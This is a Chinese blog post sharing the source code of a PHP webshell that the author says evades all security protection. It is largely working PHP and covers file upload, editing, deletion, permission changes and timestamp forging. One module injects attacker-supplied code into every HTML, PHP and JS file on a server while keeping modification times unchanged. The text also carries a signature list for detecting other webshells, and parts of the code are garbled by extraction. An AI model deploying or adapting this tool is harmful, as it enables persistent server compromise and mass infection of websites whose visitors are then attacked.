【原创】改进的大马webshell,过市面上任何防护
阅读原文时间:2020年10月16日阅读:7

因为之前使用的webshell大马很多都没用了,都被安全防护拦截了,所以通过几个大牛的指点和网上的教程整理而成自己做的增强版的webshell大马,我这个是源码,部分无加密!

\*{padding:0; margin:0;} body{background:threedface;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} a{color:#000000;text-decoration:none;} a:hover{background:#BBBBBB;} table{color:#000000;font-family:"Verdana", "Tahoma", "宋体",sans-serif;font-size:13px;border:1px solid #999999;} td{background:#F9F6F4;} .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} \\n END; return false; } //文件管理 class packdir { var $out = ''; var $datasec = array(); var $ctrl\_dir = array(); var $eof\_ctrl\_dir = "\\x50\\x4b\\x05\\x06\\x00\\x00\\x00\\x00"; var $old\_offset = 0; function packdir($array) { if(@function\_exists('gzcompress')) { for($n = 0;$n < count($array);$n++) { $array\[$n\] = urldecode($array\[$n\]); $fp = @fopen($array\[$n\], 'r'); $filecode = @fread($fp, @filesize($array\[$n\])); @fclose($fp); $this -> filezip($filecode,basename($array\[$n\])); } @closedir($zhizhen); $this->out = $this->packfile(); return true; } return false; } function at($atunix = 0) { $unixarr = ($atunix == 0) ? getdate() : getdate($atunix); if ($unixarr\['year'\] < 1980) { $unixarr\['year'\] = 1980; $unixarr\['mon'\] = 1; $unixarr\['mday'\] = 1; $unixarr\['hours'\] = 0; $unixarr\['minutes'\] = 0; $unixarr\['seconds'\] = 0; } return (($unixarr\['year'\] - 1980) << 25) | ($unixarr\['mon'\] << 21) | ($unixarr\['mday'\] << 16) | ($unixarr\['hours'\] << 11) | ($unixarr\['minutes'\] << 5) | ($unixarr\['seconds'\] >> 1); } function filezip($data, $name, $time = 0) { $name = str\_replace('\\\\', '/', $name); $dtime = dechex($this->at($time)); $hexdtime = '\\x'.$dtime\[6\].$dtime\[7\].'\\x'.$dtime\[4\].$dtime\[5\].'\\x'.$dtime\[2\].$dtime\[3\].'\\x'.$dtime\[0\].$dtime\[1\]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\\x50\\x4b\\x03\\x04"; $fr .= "\\x14\\x00"; $fr .= "\\x00\\x00"; $fr .= "\\x08\\x00"; $fr .= $hexdtime; $unc\_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $c\_len = strlen($zdata); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $fr .= pack('V', $crc); $fr .= pack('V', $c\_len); $fr .= pack('V', $unc\_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $fr .= pack('V', $crc); $fr .= pack('V', $c\_len); $fr .= pack('V', $unc\_len); $this -> datasec\[\] = $fr; $new\_offset = strlen(implode('', $this->datasec)); $cdrec = "\\x50\\x4b\\x01\\x02"; $cdrec .= "\\x00\\x00"; $cdrec .= "\\x14\\x00"; $cdrec .= "\\x00\\x00"; $cdrec .= "\\x08\\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c\_len); $cdrec .= pack('V', $unc\_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old\_offset ); $this -> old\_offset = $new\_offset; $cdrec .= $name; $this -> ctrl\_dir\[\] = $cdrec; } function packfile() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl\_dir); return $data.$ctrldir.$this -> eof\_ctrl\_dir.pack('v', sizeof($this -> ctrl\_dir)).pack('v', sizeof($this -> ctrl\_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\\x00\\x00"; } } function File\_Str($string) { return str\_replace('//','/',str\_replace('\\\\','/',$string)); } function File\_Size($size) { if($size > 1073741824) $size = round($size / 1073741824 \* 100) / 100 . ' G'; elseif($size > 1048576) $size = round($size / 1048576 \* 100) / 100 . ' M'; elseif($size > 1024) $size = round($size / 1024 \* 100) / 100 . ' K'; else $size = $size . ' B'; return $size; } function File\_Mode() { $RealPath = realpath('./'); $SelfPath = $\_SERVER\['PHP\_SELF'\]; $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); return File\_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); } function File\_Read($filename) { $handle = @fopen($filename,"rb"); $filecode = @fread($handle,@filesize($filename)); @fclose($handle); return $filecode; } function File\_Write($filename,$filecode,$filemode) { $key = true; $handle = @fopen($filename,$filemode); if(!@fwrite($handle,$filecode)) { @chmod($filename,0666); $key = @fwrite($handle,$filecode) ? true : false; } @fclose($handle); return $key; } function File\_Up($filea,$fileb) { $key = @copy($filea,$fileb) ? true : false; if(!$key) $key = @move\_uploaded\_file($filea,$fileb) ? true : false; return $key; } function File\_Down($filename) { if(!file\_exists($filename)) return false; $filedown = basename($filename); $array = explode('.', $filedown); $arrayend = array\_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.filesize($filename)); @readfile($filename); exit; } function File\_Deltree($deldir) { if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File\_Str($deldir.'/'.$file); if((is\_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File\_Deltree($name);} if(is\_file($name)){@chmod($name,0777);@unlink($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } function File\_Act($array,$actall,$inver) { if(($count = count($array)) == 0) return '请选择文件'; if($actall == 'e') { $zip = new packdir; if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;} return '打包所选文件失败'; } $i = 0; while($i < $count) { $array\[$i\] = urldecode($array\[$i\]); switch($actall) { case "a" : $inver = urldecode($inver); if(!is\_dir($inver)) return '路径错误'; $filename = array\_pop(explode('/',$array\[$i\])); @copy($array\[$i\],File\_Str($inver.'/'.$filename)); $msg = '复制到'.$inver.'目录'; break; case "b" : if(!@unlink($array\[$i\])){@chmod($filename,0666);@unlink($array\[$i\]);} $msg = '删除'; break; case "c" : if(!eregi("^\[0-7\]{4}$",$inver)) return '属性值错误'; $newmode = base\_convert($inver,8,10); @chmod($array\[$i\],$newmode); $msg = '属性修改为'.$inver; break; case "d" : @touch($array\[$i\],strtotime($inver)); $msg = '修改时间为'.$inver; break; } $i++; } return '所选文件'.$msg.'完毕'; } function File\_Edit($filepath,$filename,$dim = '') { $THIS\_DIR = urlencode($filepath); $THIS\_FILE = File\_Str($filepath.'/'.$filename); if(file\_exists($THIS\_FILE)){$FILE\_TIME = @date('Y-m-d H:i:s',filemtime($THIS\_FILE));$FILE\_CODE = htmlspecialchars(File\_Read($THIS\_FILE));} else {$FILE\_TIME = @date('Y-m-d H:i:s',time());$FILE\_CODE = '';} print<< var NS4 = (document.layers); var IE4 = (document.all); var win = this; var n = 0; function search(str){ var txt, i, found; if(str == "")return false; if(NS4){ if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; if(n == 0) alert(str + " ... Not-Find") } if(IE4){ txt = win.document.body.createTextRange(); for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ txt.moveStart("character", 1); txt.moveEnd("textedit") } if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} } return false } function CheckDate(){ var re = document.getElementById('mtime').value; var reg = /^(\\\\d{1,4})(-|\\\\/)(\\\\d{1,2})\\\\2(\\\\d{1,2}) (\\\\d{1,2}):(\\\\d{1,2}):(\\\\d{1,2})$/; var r = re.match(reg); if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} else{document.getElementById('editor').submit();} }
查找内容:
文件修改时间
END; } function File\_Soup($p) { $THIS\_DIR = urlencode($p); $UP\_SIZE = get\_cfg\_var('upload\_max\_filesize'); $MSG\_BOX = '单个附件允许大小:'.$UP\_SIZE.', 改名格式(new.php),如为空,则保持原文件名.'; if(!empty($\_POST\['updir'\])) { if(count($\_FILES\['soup'\]) >= 1) { $i = 0; foreach ($\_FILES\['soup'\]\['error'\] as $key => $error) { if ($error == UPLOAD\_ERR\_OK) { $souptmp = $\_FILES\['soup'\]\['tmp\_name'\]\[$key\]; if(!empty($\_POST\['reup'\]\[$i\]))$soupname = $\_POST\['reup'\]\[$i\]; else $soupname = $\_FILES\['soup'\]\['name'\]\[$key\]; $MSG\[$i\] = File\_Up($souptmp,File\_Str($\_POST\['updir'\].'/'.$soupname)) ? $soupname.'上传成功' : $soupname.'上传失败'; } $i++; } } else { $MSG\_BOX = '请选择文件'; } } print<<{$MSG\_BOX}
上传到目录:
附件1 改名 $MSG\[0\]
附件2 改名 $MSG\[1\]
附件3 改名 $MSG\[2\]
附件4 改名 $MSG\[3\]
附件5 改名 $MSG\[4\]
附件6 改名 $MSG\[5\]
附件7 改名 $MSG\[6\]
附件8 改名 $MSG\[7\]
END; } function File\_a($p) { if(!$\_SERVER\['SERVER\_NAME'\]) $GETURL = ''; else $GETURL = 'http://'.$\_SERVER\['SERVER\_NAME'\].'/'; $MSG\_BOX = '等待消息队列'; $UP\_DIR = urlencode(File\_Str($p.'/..')); $REAL\_DIR = File\_Str(realpath($p)); $FILE\_DIR = File\_Str(dirname(\_\_FILE\_\_)); $ROOT\_DIR = File\_Mode(); $THIS\_DIR = urlencode(File\_Str($REAL\_DIR)); $NUM\_D = 0; $NUM\_F = 0; if(!empty($\_POST\['pfn'\])){$intime = @strtotime($\_POST\['mtime'\]);$MSG\_BOX = File\_Write($\_POST\['pfn'\],$\_POST\['pfc'\],'wb') ? '编辑文件 '.$\_POST\['pfn'\].' 成功' : '编辑文件 '.$\_POST\['pfn'\].' 失败';@touch($\_POST\['pfn'\],$intime);} if(!empty($\_FILES\['ufp'\]\['name'\])){if($\_POST\['ufn'\] != '') $upfilename = $\_POST\['ufn'\]; else $upfilename = $\_FILES\['ufp'\]\['name'\];$MSG\_BOX = File\_Up($\_FILES\['ufp'\]\['tmp\_name'\],File\_Str($REAL\_DIR.'/'.$upfilename)) ? '上传文件 '.$upfilename.' 成功' : '上传文件 '.$upfilename.' 失败';} if(!empty($\_POST\['actall'\])){$MSG\_BOX = File\_Act($\_POST\['files'\],$\_POST\['actall'\],$\_POST\['inver'\]);} if(isset($\_GET\['md'\])){$modfile = File\_Str($REAL\_DIR.'/'.$\_GET\['mk'\]); if(!eregi("^\[0-7\]{4}$",$\_GET\['md'\])) $MSG\_BOX = '属性值错误'; else $MSG\_BOX = @chmod($modfile,base\_convert($\_GET\['md'\],8,10)) ? '修改 '.$modfile.' 属性为 '.$\_GET\['md'\].' 成功' : '修改 '.$modfile.' 属性为 '.$\_GET\['md'\].' 失败';} if(isset($\_GET\['mn'\])){$MSG\_BOX = @rename(File\_Str($REAL\_DIR.'/'.$\_GET\['mn'\]),File\_Str($REAL\_DIR.'/'.$\_GET\['rn'\])) ? '改名 '.$\_GET\['mn'\].' 为 '.$\_GET\['rn'\].' 成功' : '改名 '.$\_GET\['mn'\].' 为 '.$\_GET\['rn'\].' 失败';} if(isset($\_GET\['dn'\])){$MSG\_BOX = @mkdir(File\_Str($REAL\_DIR.'/'.$\_GET\['dn'\]),0777) ? '创建目录 '.$\_GET\['dn'\].' 成功' : '创建目录 '.$\_GET\['dn'\].' 失败';} if(isset($\_GET\['dd'\])){$MSG\_BOX = File\_Deltree($\_GET\['dd'\]) ? '删除目录 '.$\_GET\['dd'\].' 成功' : '删除目录 '.$\_GET\['dd'\].' 失败';} if(isset($\_GET\['df'\])){if(!File\_Down($\_GET\['df'\])) $MSG\_BOX = '下载文件不存在';} Root\_CSS(); print<< function Inputok(msg,gourl) { smsg = "当前文件:\[" + msg + "\]"; re = prompt(smsg,unescape(msg)); if(re) { var url = gourl + escape(re); window.location = url; } } function Delok(msg,gourl) { smsg = "确定要删除\[" + unescape(msg) + "\]吗?"; if(confirm(smsg)) { if(gourl == 'b') { document.getElementById('actall').value = escape(gourl); document.getElementById('fileall').submit(); } else window.location = gourl; } } function CheckDate(msg,gourl) { smsg = "当前文件时间:\[" + msg + "\]"; re = prompt(smsg,msg); if(re) { var url = gourl + re; var reg = /^(\\\\d{1,4})(-|\\\\/)(\\\\d{1,2})\\\\2(\\\\d{1,2}) (\\\\d{1,2}):(\\\\d{1,2}):(\\\\d{1,2})$/; var r = re.match(reg); if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} } } function CheckAll(form) { for(var i=0;i
{$MSG\_BOX}
END; if(($h\_d = @opendir($p)) == NULL) return false; while(false !== ($Filename = @readdir($h\_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File\_Str($REAL\_DIR.'/'.$Filename); if(is\_dir($Filepath)) { $Fileperm = substr(base\_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filepath = urlencode($Filepath); echo "\\r\\n".' '; $Filename = urlencode($Filename); echo ' '; echo ' '; echo ' '; echo ' '."\\r\\n"; $NUM\_D++; } } @rewinddir($h\_d); while(false !== ($Filename = @readdir($h\_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File\_Str($REAL\_DIR.'/'.$Filename); if(!is\_dir($Filepath)) { $Fileurls = str\_replace(File\_Str($ROOT\_DIR.'/'),$GETURL,$Filepath); $Fileperm = substr(base\_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filesize = File\_Size(@filesize($Filepath)); if($Filepath == File\_Str(\_\_FILE\_\_)) $fname = ''.$Filename.''; else $fname = $Filename; echo "\\r\\n".' '; $Filepath = urlencode($Filepath); $Filename = urlencode($Filename); echo ' '; echo ' '; echo ' '; echo ' '."\\r\\n"; $NUM\_F++; } } @closedir($h\_d); if(!$Filetime) $Filetime = '2009-01-01 00:00:00'; print<<
目录({$NUM\_D}) / 文件({$NUM\_F})
END; return true; } //批量挂马 function Guama\_Pass($length) { $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str = ""; while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); return $str; } function Guama\_Make($codea,$codeb,$codec) { return str\_replace($codea,Guama\_Pass($codeb),$codec); } function Guama\_Auto($gp,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb) { if(($h\_d = @opendir($gp)) == NULL) return false; if($gm > 12) return false; while(false !== ($Filename = @readdir($h\_d))) { if($Filename == '.' || $Filename == '..') continue; if($gl != ''){if(eregi($gl,$Filename)) continue;} $Filepath = File\_Str($gp.'/'.$Filename); if(is\_dir($Filepath) && $gb) Guama\_Auto($Filepath,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb); if(eregi($gt,$Filename)) { $fc = File\_Read($Filepath); if(($gk != '') && (stristr($fc,chop($gk)))) continue; if(($gf != '') && ($gm != 0)) $gcm = Guama\_Make($gf,$gm,$gc); else $gcm = $gc; if($gd) $ftime = @filemtime($Filepath); if($gi == 'a'){if(!stristr($fc,'')) continue; $fcm = str\_replace('',"\\r\\n".$gcm."\\r\\n".'',$fc); $fcm = str\_replace('',"\\r\\n".$gcm."\\r\\n".'',$fcm);} if($gi == 'b') $fcm = $gcm."\\r\\n".$fc; if($gi == 'c') $fcm = $fc."\\r\\n".$gcm; echo File\_Write($Filepath,$fcm,'wb') ? '成功:'.$Filepath.'
'."\\r\\n" : '失败:'.$Filepath.'
'."\\r\\n"; if($gd) @touch($Filepath,$ftime); ob\_flush(); flush(); } } @closedir($h\_d); return true; } function Guama\_b() { if((!empty($\_POST\['gp'\])) && (!empty($\_POST\['gt'\])) && (!empty($\_POST\['gc'\]))) { echo '
'; $\_POST\['gt'\] = str\_replace('.','\\\\.',$\_POST\['gt'\]); if($\_POST\['inout'\] == 'a') $\_POST\['gl'\] = str\_replace('.','\\\\.',$\_POST\['gl'\]); else $\_POST\['gl'\] = ''; if(stristr($\_POST\['gc'\],'\[-') && stristr($\_POST\['gc'\],'-\]')) { $temp = explode('\[-',$\_POST\['gc'\]); $gk = $temp\[0\]; preg\_match\_all("/\\\[\\-(\[^~\]\*?)\\-\\\]/i",$\_POST\['gc'\],$nc); if(!eregi("^\[0-9\]{1,2}$",$nc\[1\]\[0\])){echo '异常终止'; return false;} $gm = (int)$nc\[1\]\[0\]; $gf = $nc\[0\]\[0\]; } else { $gk = $\_POST\['gc'\]; $gm = 0; $gf = ''; } if(!isset($\_POST\['gx'\])) $gk = ''; $gd = isset($\_POST\['gd'\]) ? true : false; $gb = ($\_POST\['gb'\] == 'a') ? true : false; echo Guama\_Auto($\_POST\['gp'\],$\_POST\['gt'\],$\_POST\['gl'\],$\_POST\['gc'\],$gm,$gf,$\_POST\['gi'\],$gk,$gd,$gb) ? '挂马完毕' : '异常终止'; echo '
'; return false; } $FILE\_DIR = File\_Str(dirname(\_\_FILE\_\_)); $ROOT\_DIR = File\_Mode(); print<< function Fulll(i) { if(i==0) return false; Str = new Array(5); if(i <= 2){Str\[1\] = "{$ROOT\_DIR}";Str\[2\] = "{$FILE\_DIR}";sform.gp.value = Str\[i\];} else{Str\[3\] = ".htm|.html|.shtml";Str\[4\] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str\[5\] = ".js";sform.gt.value = Str\[i\];} return true; } function autorun() { if(document.getElementById('gp').value == ''){alert('挂马路径不能为空');return false;} if(document.getElementById('gt').value == ''){alert('文件类型不能为空');return false;} if(document.getElementById('gc').value == ''){alert('挂马代码不能为空');return false;} document.getElementById('sform').submit(); }
挂马路径
文件类型
过滤对象 开启 关闭
挂马代码
挂马变形说明: 程序自动寻找\[-6-\]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加\[-6-\]标签.
挂上示例:
插入标签之前 插入文件最顶端 插入文件最末尾
智能过滤重复代码 保持文件修改时间不变
将挂马应用于该文件夹,子文件夹和文件
仅将挂马应用于该文件夹
END; return true; } //批量清马 function Qingma\_Auto($qp,$qt,$qc,$qd,$qb) { if(($h\_d = @opendir($qp)) == NULL) return false; while(false !== ($Filename = @readdir($h\_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File\_Str($qp.'/'.$Filename); if(is\_dir($Filepath) && $qb) Qingma\_Auto($Filepath,$qt,$qc,$qd,$qb); if(eregi($qt,$Filename)) { $ic = File\_Read($Filepath); if(!stristr($ic,$qc)) continue; $ic = str\_replace($qc,'',$ic); if($qd) $ftime = @filemtime($Filepath); echo File\_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
'."\\r\\n" : '失败:'.$Filepath.'
'."\\r\\n"; if($qd) @touch($Filepath,$ftime); ob\_flush(); flush(); } } @closedir($h\_d); return true; } function Qingma\_c() { if((!empty($\_POST\['qp'\])) && (!empty($\_POST\['qt'\])) && (!empty($\_POST\['qc'\]))) { echo '
'; $qt = str\_replace('.','\\\\.',$\_POST\['qt'\]); $qd = isset($\_POST\['qd'\]) ? true : false; $qb = ($\_POST\['qb'\] == 'a') ? true : false; echo Qingma\_Auto($\_POST\['qp'\],$qt,$\_POST\['qc'\],$qd,$qb) ? '清马完毕' : '异常终止'; echo '
'; return false; } $FILE\_DIR = File\_Str(dirname(\_\_FILE\_\_)); $ROOT\_DIR = File\_Mode(); print<< function Fullll(i){ if(i==0) return false; Str = new Array(5); if(i <= 2){Str\[1\] = "{$ROOT\_DIR}";Str\[2\] = "{$FILE\_DIR}";xform.qp.value = Str\[i\];} else{Str\[3\] = ".htm|.html|.shtml";Str\[4\] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str\[5\] = ".js";xform.qt.value = Str\[i\];} return true; } function autoup(){ if(document.getElementById('qp').value == ''){alert('清马路径不能为空');return false;} if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} if(document.getElementById('qc').value == ''){alert('清除代码不能为空');return false;} document.getElementById('xform').submit(); }
清马路径
文件类型
清除代码
保持文件修改时间不变
将清马应用于该文件夹,子文件夹和文件
仅将清马应用于该文件夹
END; return true; } //批量替换 function Tihuan\_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) { if(($h\_d = @opendir($tp)) == NULL) return false; while(false !== ($Filename = @readdir($h\_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File\_Str($tp.'/'.$Filename); if(is\_dir($Filepath) && $tb) Tihuan\_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); $doing = false; if(eregi($tt,$Filename)) { $ic = File\_Read($Filepath); if($th) { if(!stristr($ic,$tca)) continue; $ic = str\_replace($tca,$tcb,$ic); $doing = true; } else { preg\_match\_all("/href\\=\\"(\[^~\]\*?)\\"/i",$ic,$nc); for($i = 0;$i < count($nc\[1\]);$i++){if(eregi($tca,$nc\[1\]\[$i\])){$ic = str\_replace($nc\[1\]\[$i\],$tcb,$ic);$doing = true;}} } if($td) $ftime = @filemtime($Filepath); if($doing) echo File\_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
'."\\r\\n" : '失败:'.$Filepath.'
'."\\r\\n"; if($td) @touch($Filepath,$ftime); ob\_flush(); flush(); } } @closedir($h\_d); return true; } function Tihuan\_d() { if((!empty($\_POST\['tp'\])) && (!empty($\_POST\['tt'\]))) { echo '
'; $tt = str\_replace('.','\\\\.',$\_POST\['tt'\]); $td = isset($\_POST\['td'\]) ? true : false; $tb = ($\_POST\['tb'\] == 'a') ? true : false; $th = ($\_POST\['th'\] == 'a') ? true : false; if($th) $\_POST\['tca'\] = str\_replace('.','\\\\.',$\_POST\['tca'\]); echo Tihuan\_Auto($\_POST\['tp'\],$tt,$th,$\_POST\['tca'\],$\_POST\['tcb'\],$td,$tb) ? '替换完毕' : '异常终止'; echo '
'; return false; } $FILE\_DIR = File\_Str(dirname(\_\_FILE\_\_)); $ROOT\_DIR = File\_Mode(); print<< function Fulllll(i){ if(i==0) return false; Str = new Array(5); if(i <= 2){Str\[1\] = "{$ROOT\_DIR}";Str\[2\] = "{$FILE\_DIR}";tform.tp.value = Str\[i\];} else{Str\[3\] = ".htm|.html|.shtml";Str\[4\] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str\[5\] = ".js";tform.tt.value = Str\[i\];} return true; } function showth(th){ if(th == 'a') document.getElementById('setauto').innerHTML = '查找内容
替换成为 '; if(th == 'b') document.getElementById('setauto').innerHTML = '
下载后缀

替换成为 '; return true; } function autoup(){ if(document.getElementById('tp').value == ''){alert('替换路径不能为空');return false;} if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} if(document.getElementById('tca').value == ''){alert('替换代码不能为空');return false;} document.getElementById('tform').submit(); }
替换路径
文件类型
替换文件中的指定内容 替换文件中的下载地址
查找内容
替换成为
保持文件修改时间不变
将替换应用于该文件夹,子文件夹和文件
仅将替换应用于该文件夹
END; return true; } //扫描木马 function Antivirus\_Auto($sp,$features,$st,$sb) { if(($h\_d = @opendir($sp)) == NULL) return false; $ROOT\_DIR = File\_Mode(); while(false !== ($Filename = @readdir($h\_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File\_Str($sp.'/'.$Filename); if(is\_dir($Filepath) && $sb) Antivirus\_Auto($Filepath,$features,$st); if(eregi($st,$Filename)) { if($Filepath == File\_Str(\_\_FILE\_\_)) continue; $ic = File\_Read($Filepath); foreach($features as $var => $key) { if(stristr($ic,$key)) { $Fileurls = str\_replace($ROOT\_DIR,'http://'.$\_SERVER\['SERVER\_NAME'\].'/',$Filepath); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); echo ' '.$Filepath.'
编辑 删除 】 '; echo ' 【 '.$Filetime.' 】 '.$var.'

'."\\r\\n"; break; } } ob\_flush(); flush(); } } @closedir($h\_d); return true; } function Antivirus\_e() { if(!empty($\_GET\['df'\])){echo $\_GET\['df'\];if(@unlink($\_GET\['df'\])){echo '删除成功';}else{@chmod($\_GET\['df'\],0666);echo @unlink($\_GET\['df'\]) ? '删除成功' : '删除失败';} return false;} if((!empty($\_GET\['fp'\])) && (!empty($\_GET\['fn'\])) && (!empty($\_GET\['dim'\]))) { File\_Edit($\_GET\['fp'\],$\_GET\['fn'\],$\_GET\['dim'\]); return false; } $SCAN\_DIR = isset($\_POST\['sp'\]) ? $\_POST\['sp'\] : File\_Mode(); $features\_php = array('php大马特征1'=>'cha88.cn','php大马特征2'=>'->read()','php大马特征3'=>'readdir(','危险MYSQL语句4'=>'returns string soname','php加密大马特征5'=>'eval(gzinflate(','php加密大马特征6'=>'eval(base64\_decode(','php一句话特征7'=>'eval($\_','php一句话特征8'=>'eval ($\_','php上传后门特征9'=>'copy($\_FILES','php上传后门特征10'=>'copy ($\_FILES','php上传后门特征11'=>'move\_uploaded\_file($\_FILES','php上传后门特征12'=>'move\_uploaded\_file ($\_FILES','php小马特征13'=>'str\_replace(\\'\\\\\\\\\\',\\'/\\','); $features\_asx = array('asp小马特征1'=>'绝对路径','asp小马特征2'=>'输入马的内容','asp小马特征3'=>'fso.createtextfile(path,true)','asp一句话特征4'=>'<%execute(request','asp一句话特征5'=>'<%eval request','asp一句话特征6'=>'execute session(','asp数据库后门特征7'=>'--Created!','asp大马特征8'=>'WScript.Shell','asp大小马特征9'=>'<%@ LANGUAGE = VBScript.Encode %>','aspx大马特征10'=>'www.rootkit.net.cn','aspx大马特征11'=>'Process.GetProcesses','aspx大马特征12'=>'lake2'); print<<
扫描路径
木马类型 php木马 asp+aspx木马
将扫马应用于该文件夹,子文件夹和文件
仅将扫马应用于该文件夹
END; if(!empty($\_POST\['sp'\])) { echo '
'; if(isset($\_POST\['stphp'\])){$features\_all = $features\_php; $st = '\\.php|\\.inc|\\;';} if(isset($\_POST\['stasx'\])){$features\_all = $features\_asx; $st = '\\.asp|\\.asa|\\.cer|\\.aspx|\\.ascx|\\;';} if(isset($\_POST\['stphp'\]) && isset($\_POST\['stasx'\])){$features\_all = array\_merge($features\_php,$features\_asx); $st = '\\.php|\\.inc|\\.asp|\\.asa|\\.cer|\\.aspx|\\.ascx|\\;';} $sb = ($\_POST\['sb'\] == 'a') ? true : false; echo Antivirus\_Auto($\_POST\['sp'\],$features\_all,$st,$sb) ? '扫描完毕' : '异常终止'; echo '
'; } return true; } //搜索文件 function Findfile\_Auto($sfp,$sfc,$sft,$sff,$sfb) { //echo $sfp.'
'.$sfc.'
'.$sft.'
'.$sff.'
'.$sfb; if(($h\_d = @opendir($sfp)) == NULL) return false; while(false !== ($Filename = @readdir($h\_d))) { if($Filename == '.' || $Filename == '..') continue; if(eregi($sft,$Filename)) continue; $Filepath = File\_Str($sfp.'/'.$Filename); if(is\_dir($Filepath) && $sfb) Findfile\_Auto($Filepath,$sfc,$sft,$sff,$sfb); if($sff) { if(stristr($Filename,$sfc)) { echo ' '.$Filepath.'
'."\\r\\n"; ob\_flush(); flush(); } } else { $File\_code = File\_Read($Filepath); if(stristr($File\_code,$sfc)) { echo ' '.$Filepath.'
'."\\r\\n"; ob\_flush(); flush(); } } } @closedir($h\_d); return true; } function Findfile\_j() { if(!empty($\_GET\['df'\])){echo $\_GET\['df'\];if(@unlink($\_GET\['df'\])){echo '删除成功';}else{@chmod($\_GET\['df'\],0666);echo @unlink($\_GET\['df'\]) ? '删除成功' : '删除失败';} return false;} if((!empty($\_GET\['fp'\])) && (!empty($\_GET\['fn'\])) && (!empty($\_GET\['dim'\]))) { File\_Edit($\_GET\['fp'\],$\_GET\['fn'\],$\_GET\['dim'\]); return false; } $SCAN\_DIR = isset($\_POST\['sfp'\]) ? $\_POST\['sfp'\] : File\_Mode(); $SCAN\_CODE = isset($\_POST\['sfc'\]) ? $\_POST\['sfc'\] : 'config'; $SCAN\_TYPE = isset($\_POST\['sft'\]) ? $\_POST\['sft'\] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; print<<
扫描路径
过滤文件
关键字串 搜索文件名 搜索包含文字
将搜索应用于该文件夹,子文件夹和文件
仅将搜索应用于该文件夹
END; if((!empty($\_POST\['sfp'\])) && (!empty($\_POST\['sfc'\]))) { echo '
'; $\_POST\['sft'\] = str\_replace('.','\\\\.',$\_POST\['sft'\]); $sff = ($\_POST\['sff'\] == 'a') ? true : false; $sfb = ($\_POST\['sfb'\] == 'a') ? true : false; echo Findfile\_Auto($\_POST\['sfp'\],$\_POST\['sfc'\],$\_POST\['sft'\],$sff,$sfb) ? '搜索完毕' : '异常终止'; echo '
